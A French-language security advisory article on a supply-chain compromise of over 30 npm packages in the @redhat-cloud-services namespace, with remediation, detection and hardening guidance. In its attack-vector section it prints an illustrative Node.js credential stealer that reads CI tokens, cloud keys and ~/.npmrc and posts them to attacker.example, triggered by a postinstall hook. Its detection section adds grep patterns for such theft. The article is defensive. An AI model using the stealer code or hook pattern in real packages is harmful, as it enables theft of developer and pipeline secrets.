Une compromission de supply chain touche l’écosystème npm via plus de 30 paquets publiés sous le namespace @redhat-cloud-services. L’incident, relayé publiquement par BleepingComputer à partir des informations communiquées par Red Hat, concerne des paquets légitimes modifiés pour exfiltrer des informations sensibles depuis les environnements de développement et d’intégration continue. Le risque principal n’est pas une indisponibilité applicative immédiate, mais un vol discret d’identifiants, de tokens, de variables d’environnement, voire de secrets présents sur les postes de développeurs, runners CI/CD et images de build. À ce stade, il s’agit d’une alerte typique de chaîne d’approvisionnement logicielle : un composant réputé fiable devient un vecteur d’accès initial vers des environnements internes.
Le point critique pour les équipes techniques est le suivant : même si l’application finale n’exécute pas directement le code malveillant en production, un simple npm install, npm ci ou une étape de build peut suffire à déclencher la collecte de secrets. Les cibles prioritaires sont donc les développeurs Node.js, les équipes DevOps qui maintiennent des pipelines GitHub Actions, GitLab CI, Jenkins ou Tekton, ainsi que les RSSI chargés de piloter la réponse à incident. L’advisory officielle de Red Hat doit servir de référence première pour la liste des paquets et versions concernées, tandis que l’article de BleepingComputer fournit le contexte public de la compromission. Aucun CVE universel et aucune note CVSS consolidée ne semblent avoir été attribués à l’ensemble de l’incident au moment de la publication publique, ce qui est fréquent pour ce type d’événement de supply chain centré sur des artefacts publiés plutôt que sur une vulnérabilité logicielle classique.
Techniquement, l’incident rappelle plusieurs campagnes récentes dans npm où des scripts d’installation, du code post-publication ou des dépendances transitoires ont servi à collecter des secrets d’environnement. La différence ici est symboliquement importante : le namespace visé est associé à un éditeur reconnu, ce qui augmente mécaniquement la confiance accordée aux paquets et réduit la vigilance des équipes. Pour des organisations hébergées chez OVH, Scaleway ou o2switch, ou opérant des runners auto-hébergés en France, l’enjeu est identique : inventorier rapidement les artefacts consommés, déterminer si un poste de développement ou un pipeline a installé une version compromise, puis révoquer sans attendre les secrets potentiellement exposés.
Versions affectées
La source officielle à privilégier est l’avis de sécurité et les communications de Red Hat concernant les paquets npm du namespace @redhat-cloud-services compromis. BleepingComputer indique que plus de 30 paquets sont concernés. Dans ce type d’incident, la liste exacte des versions malveillantes peut évoluer au fil de l’investigation, notamment si des dépublications, republications ou remplacements d’artefacts interviennent. Il faut donc traiter l’inventaire comme dynamique et s’aligner sur la source éditeur.
Les éléments certains à retenir pour la gestion d’exposition sont les suivants :
- Namespace touché :
@redhat-cloud-services - Nature de l’atteinte : paquets npm légitimes compromis, utilisés comme vecteur de vol de secrets
- Volume : plus de 30 paquets affectés selon les informations publiques relayées
- Versions vulnérables : les versions explicitement listées par Red Hat comme compromises dans l’advisory officielle
- Versions corrigées : les versions republiées ou validées comme saines par Red Hat après assainissement du namespace
En pratique, il faut immédiatement extraire les versions réellement installées dans vos projets et pipelines, puis les comparer à la liste officielle. Les fichiers à examiner en priorité sont package.json, package-lock.json, npm-shrinkwrap.json, les caches npm locaux et les logs d’exécution CI.
Exemples de vérification locale :
npm ls @redhat-cloud-services --all
npm ls | grep redhat-cloud-services
grep -R "@redhat-cloud-services" package.json package-lock.json .
Exemples dans un dépôt monorepo ou workspace :
find . -name package.json -o -name package-lock.json | xargs grep -n "@redhat-cloud-services"
Pour un audit plus précis des versions résolues :
node -e "const fs=require('fs');const lock=JSON.parse(fs.readFileSync('package-lock.json'));console.log(JSON.stringify(lock.packages,null,2))" | grep -n "@redhat-cloud-services"
Dans les environnements CI/CD, il faut aussi inspecter les artefacts de cache et les runners persistants. Sur un runner Linux, les emplacements courants sont ~/.npm/, ~/.cache/, les volumes Docker persistants et les répertoires de workspace conservés entre jobs. Une équipe qui a déjà supprimé la dépendance du dépôt peut malgré tout rester exposée si le paquet compromis a été installé auparavant et si des secrets ont été présents au moment de l’exécution.
En l’absence de CVE-ID unique et de score CVSS consolidé, l’évaluation du risque doit être menée comme un incident de compromission de fournisseur logiciel. Le niveau de criticité opérationnelle est généralement élevé dès lors qu’un pipeline ou un poste ayant accès à des tokens de registre, à des clés cloud, à des identifiants Git ou à des variables d’environnement sensibles a exécuté une version compromise.
Source originale à citer dans le suivi interne : advisory et communications officielles de Red Hat sur les paquets npm
@redhat-cloud-servicescompromis, complétées par le signalement public de BleepingComputer : “Red Hat npm packages compromised to steal developer credentials”.
Vecteur d’attaque
Le vecteur d’attaque relève d’une compromission de chaîne d’approvisionnement logicielle dans npm. Concrètement, un ou plusieurs paquets publiés sous un namespace de confiance ont été modifiés pour intégrer du code malveillant. Ce code peut s’exécuter à différents moments :
- lors de l’installation via des scripts npm tels que
preinstall,installoupostinstall; - au chargement d’un module importé pendant un build ou un test ;
- à l’exécution d’outils CLI intégrés à la chaîne de développement ;
- dans un contexte de bundling, linting, transpilation ou génération de code.
Dans un scénario classique, le code malveillant cherche d’abord à inventorier l’environnement d’exécution. Il peut lire :
- les variables d’environnement via
process.env; - les fichiers de configuration comme
~/.npmrc,~/.yarnrc,~/.gitconfig; - les jetons présents dans les répertoires de travail, par exemple
.env,.env.local,config.jsonou des fichiers de secrets montés temporairement ; - les identifiants cloud injectés dans les jobs CI, comme
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,GOOGLE_APPLICATION_CREDENTIALS,AZURE_CLIENT_SECRET; - les jetons GitHub, GitLab, Artifactory, Quay, npm ou OpenShift utilisés pour publier, déployer ou tirer des images.
Une fois collectées, ces informations sont exfiltrées vers une infrastructure distante contrôlée par l’attaquant, souvent via une requête HTTP ou HTTPS banale afin de se fondre dans le trafic sortant. Dans bien des cas, l’exfiltration passe inaperçue parce qu’elle ne provoque ni plantage ni comportement fonctionnel anormal. Le pipeline continue, la build réussit, et seul l’attaquant bénéficie du secret récupéré.
Exemple simplifié de logique malveillante typique observée dans l’écosystème npm :
const https = require('https');
const os = require('os');
const fs = require('fs');
function collect() {
const data = {
host: os.hostname(),
user: process.env.USER,
cwd: process.cwd(),
env: {
npm: process.env.NPM_TOKEN,
github: process.env.GITHUB_TOKEN,
gitlab: process.env.CI_JOB_TOKEN,
awsKey: process.env.AWS_ACCESS_KEY_ID,
awsSecret: process.env.AWS_SECRET_ACCESS_KEY
}
};
try {
data.npmrc = fs.readFileSync(process.env.HOME + '/.npmrc', 'utf8');
} catch (e) {}
return JSON.stringify(data);
}
const req = https.request({
hostname: 'attacker.example',
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
req.on('error', () => {});
req.write(collect());
req.end();
Dans un paquet compromis, ce code peut être déclenché automatiquement par un script d’installation défini dans package.json :
{
"name": "@redhat-cloud-services/example-package",
"version": "x.y.z",
"scripts": {
"postinstall": "node scripts/setup.js"
}
}
Le danger pour les pipelines CI/CD est particulièrement élevé. Un job de build possède souvent plus de privilèges qu’un poste développeur : accès à des registres privés, capacité de pousser des images, de créer des releases, d’interagir avec des clusters Kubernetes ou OpenShift, voire d’accéder à des environnements de préproduction. Si le paquet compromis s’exécute dans ce contexte, l’attaquant peut récupérer des secrets réutilisables immédiatement.
Scénario d’attaque concret :
- une équipe utilise un paquet
@redhat-cloud-servicesdans un outil interne de build ; - un pipeline GitHub Actions exécute
npm ciavec des secrets injectés dans l’environnement ; - le script
postinstalldu paquet compromis litprocess.envet~/.npmrc; - le token npm d’organisation, le token GitHub et des identifiants cloud sont exfiltrés ;
- l’attaquant publie ensuite un autre paquet malveillant, pousse une image dans un registre privé ou accède à des dépôts source.
Cette mécanique rappelle plusieurs incidents antérieurs dans npm et PyPI, où la confiance accordée à un package populaire ou à un namespace légitime a servi de levier. La différence avec une vulnérabilité type RCE dans un framework est importante : ici, le code malveillant est intégré à l’artefact lui-même. Le patch ne consiste donc pas à appliquer une simple correction de code ; il faut aussi traiter l’incident comme une potentielle fuite de secrets et mener une réponse forensique adaptée.
Pour les RSSI, la surface d’impact dépasse souvent l’équipe Node.js. Un token exfiltré depuis un pipeline peut donner accès à :
- des dépôts Git source ;
- des registries d’images ;
- des comptes cloud ;
- des plateformes de déploiement ;
- des outils de ticketing ou de monitoring si des clés d’API y sont stockées.
Impact
L’impact principal est le vol de secrets. Dans un environnement moderne, ce terme recouvre une variété d’éléments à forte valeur opérationnelle :
- tokens npm stockés dans
~/.npmrcou injectés viaNPM_TOKEN; - jetons GitHub et GitLab utilisés pour cloner, taguer ou publier ;
- identifiants de registries OCI ou Docker ;
- clés d’API SaaS ;
- identifiants cloud temporaires ou persistants ;
- variables d’environnement applicatives contenant mots de passe, DSN ou secrets JWT ;
- configuration interne révélant des noms d’hôtes, URLs d’API, structures de projets et chemins sensibles.
Le second impact est l’extension potentielle de compromission. Une fois un secret volé, l’attaquant peut pivoter vers d’autres systèmes. Un token GitHub avec droit d’écriture peut permettre d’altérer le code source. Un secret de registre peut servir à publier une image piégée. Un accès cloud peut mener à l’exfiltration de données ou à la création de ressources frauduleuses.
Le troisième impact est la difficulté de détection. Beaucoup de chaînes de build autorisent le trafic sortant HTTPS sans inspection détaillée. Une simple requête d’exfiltration vers un domaine peu visible peut ne laisser qu’une trace ténue dans des logs réseau, surtout sur des runners éphémères. De plus, les équipes se concentrent souvent sur l’intégrité du code applicatif final, alors que l’incident s’est produit plus tôt, lors de l’installation de dépendances.
En environnement réglementé ou sensible, il faut également considérer l’impact conformité. Si des secrets donnent indirectement accès à des données personnelles, à des environnements de production ou à des outils d’administration, l’incident peut déclencher des obligations de notification interne, voire externe selon le périmètre. CERT-FR ne publie pas nécessairement un bulletin spécifique à chaque compromission de package, mais ses recommandations générales sur la sécurisation de la chaîne d’approvisionnement, la journalisation et la gestion des secrets restent directement applicables.
Comment patcher
La remédiation immédiate se fait en quatre temps : identifier, mettre à jour, purger, puis révoquer. Le simple fait d’installer une version saine ne suffit pas si une version compromise a déjà tourné dans votre environnement.
1. Identifier les paquets et versions installés
Sur chaque dépôt concerné :
npm ls @redhat-cloud-services --all
grep -R "@redhat-cloud-services" package.json package-lock.json .
Si vous utilisez des workspaces :
npm query "#workspace"
find . -name package-lock.json | xargs grep -n "@redhat-cloud-services"
Avec yarn :
yarn why @redhat-cloud-services/<nom-paquet>
grep -R "@redhat-cloud-services" package.json yarn.lock .
Avec pnpm :
pnpm why @redhat-cloud-services/<nom-paquet>
grep -R "@redhat-cloud-services" package.json pnpm-lock.yaml .
2. Mettre à jour vers les versions saines validées par Red Hat
La version cible doit être celle explicitement indiquée comme saine dans l’advisory officielle de Red Hat. Tant que cette référence n’est pas intégrée à votre dépôt, évitez les plages de versions trop larges et épinglez la version corrigée.
Exemple avec npm :
npm install @redhat-cloud-services/<nom-paquet>@<version-saine> --save-exact
Exemple avec yarn :
yarn add @redhat-cloud-services/<nom-paquet>@<version-saine> --exact
Exemple avec pnpm :
pnpm add @redhat-cloud-services/<nom-paquet>@<version-saine> --save-exact
Si le paquet n’est pas indispensable à court terme, la mesure la plus sûre est de le retirer temporairement :
npm uninstall @redhat-cloud-services/<nom-paquet>
3. Purger les caches et reconstruire proprement
Après mise à jour, il faut supprimer les artefacts potentiellement contaminés et forcer une réinstallation propre :
rm -rf node_modules package-lock.json
npm cache clean --force
npm install
Dans un pipeline CI, nettoyez aussi les caches partagés, les volumes persistants et les images intermédiaires. Pour Docker :
docker builder prune --all --force
docker system prune --volumes --force
Pour des runners auto-hébergés Jenkins ou GitLab, supprimez les répertoires de travail réutilisés et les caches npm globaux. Dans Kubernetes ou OpenShift, vérifiez les volumes persistants attachés aux jobs de build.
4. Révoquer et faire tourner les secrets
C’est l’étape la plus importante. Si une version compromise a été exécutée, considérez les secrets présents comme potentiellement exfiltrés. Il faut donc :
- révoquer les tokens npm ;
- régénérer les jetons GitHub, GitLab, Quay, Artifactory ;
- faire tourner les clés cloud et secrets Kubernetes/OpenShift ;
- mettre à jour les variables CI/CD ;
- forcer, si nécessaire, une réauthentification sur les comptes à privilèges.
Pour npm :
npm token list
npm token revoke <token-id>
Pour GitHub CLI :
gh auth status
La révocation se fait ensuite dans l’interface GitHub ou via l’API selon votre modèle de gestion des tokens. Pour AWS, un exemple minimal consiste à désactiver ou supprimer la clé compromise, puis à en créer une nouvelle avec périmètre réduit. Pour Kubernetes :
kubectl get secrets -A
kubectl delete secret <nom-secret> -n <namespace>
Adaptez évidemment ces commandes à votre mode opératoire, car supprimer un secret sans mise à jour coordonnée des workloads peut provoquer une interruption de service.
Détection
La détection doit combiner recherche d’artefacts, analyse de logs et revue des accès ultérieurs avec les secrets exposés. Les indicateurs de compromission dans ce type d’incident sont rarement spectaculaires ; ils sont souvent diffus et contextuels.
IoC et points de contrôle techniques
- Présence du namespace compromis dans
package-lock.json,yarn.lockoupnpm-lock.yaml - Scripts npm suspects dans les dépendances :
preinstall,postinstall,prepare - Requêtes sortantes inhabituelles depuis les runners de build vers des domaines non attendus
- Lecture de fichiers sensibles comme
~/.npmrc,~/.gitconfig,.envpendant une installation - Création ou modification de fichiers temporaires dans le workspace sans justification fonctionnelle
- Utilisation anormale de tokens après la fenêtre d’exposition : nouvelles connexions, publications inattendues, accès depuis IP inhabituelles
Pour repérer des scripts d’installation dans les dépendances installées :
find node_modules -name package.json -print0 | xargs -0 grep -nE '"(preinstall|install|postinstall|prepare)"'
Pour rechercher des appels réseau suspects dans les modules :
grep -R -nE "https\.request|http\.request|fetch\(|axios|XMLHttpRequest|child_process" node_modules/@redhat-cloud-services
Pour inspecter rapidement les fichiers manipulant l’environnement :
grep -R -nE "process\.env|\.npmrc|\.gitconfig|AWS_|GITHUB_TOKEN|NPM_TOKEN|CI_JOB_TOKEN" node_modules/@redhat-cloud-services
Ces recherches ne constituent pas une preuve à elles seules : beaucoup de paquets légitimes utilisent aussi process.env ou des appels réseau. En revanche, elles aident à prioriser une revue manuelle ou une sandbox d’analyse.
Journalisation et corrélation
Dans GitHub Actions, GitLab CI, Jenkins ou CircleCI, récupérez :
- les logs des jobs ayant exécuté
npm installounpm ci; - les métadonnées réseau des runners, si disponibles ;
- les horodatages d’installation des paquets compromis ;
- la liste des secrets injectés dans les jobs concernés.
Il faut ensuite corréler cette fenêtre temporelle avec :
- les journaux d’accès aux dépôts Git ;
- les logs des registries npm et OCI ;
- les traces IAM cloud ;
- les événements Kubernetes ou OpenShift ;
- les connexions VPN, bastions ou consoles d’administration.
Si un token a été utilisé après l’installation du paquet compromis depuis une adresse IP, une géolocalisation ou un user-agent inhabituel, traitez cela comme un signal fort de compromission secondaire.
Mitigation
Quand le patch immédiat est difficile, par exemple sur un parc de projets nombreux ou des pipelines mutualisés, plusieurs mesures de mitigation permettent de réduire le risque à court terme.
Bloquer temporairement le namespace ou les versions concernées
Dans un proxy de registre privé, une solution de type Verdaccio, Artifactory ou Nexus peut être configurée pour bloquer certains paquets ou certaines versions. Cela évite qu’un nouveau job récupère par erreur un artefact compromis.
Selon votre outillage, mettez en place :
- une liste de blocage sur les paquets
@redhat-cloud-servicesconcernés ; - une politique d’approbation manuelle pour les dépendances externes ;
- un miroir interne ne servant que des versions validées.
Exécuter les builds avec des secrets minimaux
La meilleure défense contre l’exfiltration reste la réduction drastique des privilèges. Un job qui fait uniquement un lint ou un build statique ne devrait pas recevoir de clé cloud ni de token de publication. Séparez les pipelines :
- build/test sans secrets sensibles ;
- publication avec jetons éphémères ;
- déploiement avec identité fédérée et durée de vie réduite.
Si votre plateforme le permet, remplacez les secrets persistants par des identités fédérées de courte durée, par exemple OIDC entre GitHub Actions et AWS, GCP ou Azure. Un secret éphémère a une valeur d’attaque bien plus faible s’il est exfiltré.
Désactiver les scripts npm lors de l’analyse initiale
Pour limiter l’exécution automatique de code lors d’une investigation ou d’un rebuild de triage, utilisez :
npm install --ignore-scripts
npm ci --ignore-scripts
Cette option n’est pas une remédiation définitive, car certains paquets ont besoin de scripts légitimes pour fonctionner. En revanche, elle est utile pour examiner un arbre de dépendances sans déclencher de code d’installation potentiellement dangereux.
Renforcer l’observabilité du trafic sortant des runners
Les runners CI/CD sont souvent moins surveillés que les serveurs de production. Il faut pourtant y journaliser :
- les résolutions DNS ;
- les connexions HTTPS sortantes ;
- les accès aux fichiers de secrets ;
- les commandes exécutées pendant l’installation des dépendances.
Sur des infrastructures auto-hébergées chez OVH ou Scaleway, une journalisation réseau au niveau du nœud, du pare-feu ou du proxy sortant peut faire la différence lors de la reconstitution des faits.
Appliquer des politiques de durcissement supply chain
À moyen terme, cet incident renforce plusieurs bonnes pratiques :
- épingler les versions avec précision plutôt que d’accepter des plages larges ;
- utiliser un registre miroir interne ;
- activer l’authentification multifacteur sur les comptes éditeurs et mainteneurs ;
- surveiller les changements de scripts d’installation dans les dépendances ;
- mettre en place une Software Bill of Materials et un suivi des composants ;
- segmenter les secrets par usage et par pipeline ;
- faire des revues régulières des tokens actifs.
Les équipes qui gèrent déjà du hardening applicatif peuvent utilement rapprocher cette alerte de pratiques plus générales de sécurisation de la chaîne de build, de rotation des secrets et de réduction des privilèges. Sur FailleWeb, ces sujets relèvent naturellement des recommandations de la catégorie /categorie/pratiques.
Comparaison avec des incidents antérieurs
Cette compromission s’inscrit dans une tendance lourde. L’écosystème JavaScript, et npm en particulier, a déjà connu des incidents où :
- un compte mainteneur était compromis puis utilisé pour publier une version malveillante ;
- une dépendance transitive introduisait un script d’exfiltration ;
- un package typo-squatté imitait un nom légitime ;
- un outil de build ciblait spécifiquement les variables CI.
La leçon récurrente est qu’une signature de confiance de type “namespace connu” ne suffit pas. Les contrôles doivent porter sur l’artefact installé, son comportement et le contexte d’exécution. Contrairement à une faille web classique comme une injection SQL ou une désérialisation dangereuse, l’attaque n’exploite pas votre application exposée sur Internet ; elle vise directement votre usine logicielle. Pour un RSSI, cela signifie que la sécurité de développement n’est plus un sujet périphérique mais un maillon central de la défense.
On retrouve ici des parallèles avec l’incident SolarWinds sur le principe général de la supply chain, même si l’échelle, le mode opératoire et les impacts techniques diffèrent. Dans tous les cas, la difficulté est la même : quand l’élément compromis fait partie d’un flux considéré comme légitime, la détection est tardive et la confiance initiale joue en faveur de l’attaquant.
Perspective écosystème
Pour l’écosystème Node.js, cet événement confirme plusieurs évolutions structurantes. D’abord, les postes développeurs et les runners CI sont devenus des cibles de premier plan, car ils concentrent code, accès, secrets et capacité de déploiement. Ensuite, les namespaces d’éditeurs réputés sont désormais des cibles attractives, car ils offrent un excellent rendement d’attaque. Enfin, la frontière entre sécurité applicative, sécurité cloud et sécurité poste de travail continue de s’effacer.
Les organisations françaises, y compris celles opérant sur des infrastructures mutualisées ou des clouds européens, doivent intégrer cette réalité dans leurs procédures. Une revue de dépendances ne peut plus se limiter au scanning de CVE. Il faut aussi surveiller les changements de comportement des paquets, les scripts d’installation, les privilèges des pipelines et la durée de vie des secrets. En d’autres termes, la gestion des composants tiers doit devenir un processus de sécurité continu.
La source originale à retenir pour le suivi technique reste l’avis officiel de Red Hat sur les paquets npm compromis, complété par l’alerte médiatique de BleepingComputer. Si votre organisation consomme des composants de cet éditeur, l’action prioritaire n’est pas seulement de “mettre à jour” : il faut confirmer l’exposition réelle, assainir les environnements de build et révoquer les secrets qui ont pu transiter pendant la fenêtre de compromission.
Le réflexe opérationnel à adopter est simple : inventorier immédiatement les dépendances @redhat-cloud-services, bloquer les versions compromises, reconstruire proprement et faire tourner sans délai tous les secrets présents sur les postes ou pipelines exposés. Pour renforcer durablement la chaîne de build, la réduction des privilèges, les tokens éphémères et le durcissement des workflows CI/CD restent les mesures les plus efficaces ; ces chantiers s’inscrivent naturellement dans les recommandations de /categorie/pratiques.